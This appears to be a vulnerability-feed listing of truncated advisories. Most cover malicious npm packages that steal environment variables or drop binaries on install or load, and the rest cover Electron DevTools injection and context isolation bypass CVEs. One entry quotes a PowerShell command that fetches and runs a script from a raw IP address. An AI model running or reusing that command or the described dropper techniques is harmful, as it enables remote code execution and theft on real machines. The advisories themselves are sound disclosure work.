Malicious code in uzair-rajput-new (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b371d3a1e96e6e79066cf8f620a85867c73eb9ddbe68a81a33589e85146c4df6 The package is published as a chalk/tinygradient color-gradient wrapper, and its ESM entrypoint dist/index.js matches that description. The CJS main...

GHSA-4F78-QHMW-8J8M Electron: DevTools JavaScript Injection via Unsanitized Dock State Parameter

Impact The mode option of webContents.openDevTools was not sanitized before use by the DevTools frontend. If an attacker can influence this value, script under their control may run in the DevTools context, which in unsandboxed configurations has access to Node.js. Apps are only affected if...

CVE-2026-70609

Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to 39.8.7, 40.9.0, 41.2.0, and 42.0.0-beta.1, the mode option of webContents.openDevTools was not sanitized before use by the DevTools frontend. If an attacker can influence this value,...

MAL-2026-13358 Malicious code in app-kst-engine (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 08cfc426d2f4b29bba2b81f2eb56eeee32ab114338a51fae5eeced2571e6b2d9 On npm install, package.json's postinstall runs node test.js, which triggers three malicious paths against the installer. 1 A recursive scan of the...

MAL-2026-13356 Malicious code in chai-foundry (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 94e40493af5310c6ee769911bff65e55538911ae3f286fba2a3474f9f8a38940 [email protected] is a trojan package presenting itself as a chai plugin README shows chai.usechaiLeaf while its badges, documentation, and internal...

Malicious code in native-hello-plugin (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 385ade063a7b92a8606feb7670b6a685361533f01a8e446798a210a4416a400a The shipped Windows-x64 prebuilt hello.node embeds a PowerShell command powershell -Command "iex iwr 'http://89.124.113.217:8000/update.ps1'..." and...

NPM: Electron: Context isolation bypass via Function.prototype.bind hijack

NPM: Electron: Context isolation bypass via Function.prototype.bind hijack vulnerability discovered by ? in WordPress Npm electron versions 39.8.9...

Electron: Context isolation bypass via Function.prototype.bind hijack

Impact Apps that expose Promise-returning functions to web content via contextBridge may be vulnerable to a context isolation bypass. Untrusted web content could obtain access to the isolated preload world and, through it, every capability the preload script has. In renderers without a sandbox, o...

Origin Validation Error

Overview electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS. Affected versions of this package are vulnerable to Origin Validation Error in contextBridge. An attacker can gain access to the isolated preload world and its capabilities by...

Origin Validation Error

Overview org.webjars.npm:electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS. Affected versions of this package are vulnerable to Origin Validation Error in contextBridge. An attacker can gain access to the isolated preload world and its...

EUVD-2026-53433

Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to 39.8.9, 40.9.2, 41.2.2, and 42.0.0-beta.5, apps that expose Promise-returning functions to web content via contextBridge may be vulnerable to a context isolation bypass. Untrusted web...

CVE-2026-70601 Electron: Context isolation bypass via Function.prototype.bind hijack

Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to 39.8.9, 40.9.2, 41.2.2, and 42.0.0-beta.5, apps that expose Promise-returning functions to web content via contextBridge may be vulnerable to a context isolation bypass. Untrusted web...

CVE-2026-70601 Electron: Context isolation bypass via Function.prototype.bind hijack

Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to 39.8.9, 40.9.2, 41.2.2, and 42.0.0-beta.5, apps that expose Promise-returning functions to web content via contextBridge may be vulnerable to a context isolation bypass. Untrusted web...

CVE-2026-70601

Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to 39.8.9, 40.9.2, 41.2.2, and 42.0.0-beta.5, apps that expose Promise-returning functions to web content via contextBridge may be vulnerable to a context isolation bypass. Untrusted web...

CVE-2026-70601 Electron: Context isolation bypass via Function.prototype.bind hijack

Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to 39.8.9, 40.9.2, 41.2.2, and 42.0.0-beta.5, apps that expose Promise-returning functions to web content via contextBridge may be vulnerable to a context isolation bypass. Untrusted web...

MAL-2026-13346 Malicious code in hdkey-wallet (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4b36c64fed7b6d50787a971cc649c1f97605f6ea7027f388e9185ea85a580013 On module load, index.js reads the complete process.env object along with hostname, username, home directory, platform, and current working directory...

MAL-2026-13226 Malicious code in bigops-nitro-events-table (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6d222994e1816e63b4047f5396bbfda8d6d2ccd6bbc840da4872aa026f879525 The package's index.js requires./shim on load. shim.js selects a platform-specific payload path, fetches an executable via https.get from one of thre...

Malicious code in bigops-offers (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 422359e6c8044efa7c3873ff0859acb1480ea95413cbfb8829dc4c674de6f8d5 [email protected] executes a binary dropper at require time. index.js loads./init on import; init.js assembles C2 hostnames from split string arra...

MAL-2026-13235 Malicious code in bigops-product-list (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 173f02a73c0c5d6ee6ac7bb757fa64aef91178cfb38c4772d30260c9a7ea4bc1 index.js unconditionally requires setup.js on module load. setup.js assembles destination hostnames at runtime from split-string fragments joined...

MAL-2026-13238 Malicious code in bigops-products-bnpl (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 79495f4d434b2f860f25315bc4c035d0db6956c8184ccb9a8068d1f6a4a15673 On require'bigops-products-bnpl', index.js loads runtime.js, which selects a platform-specific endpoint and downloads an opaque binary from one of fo...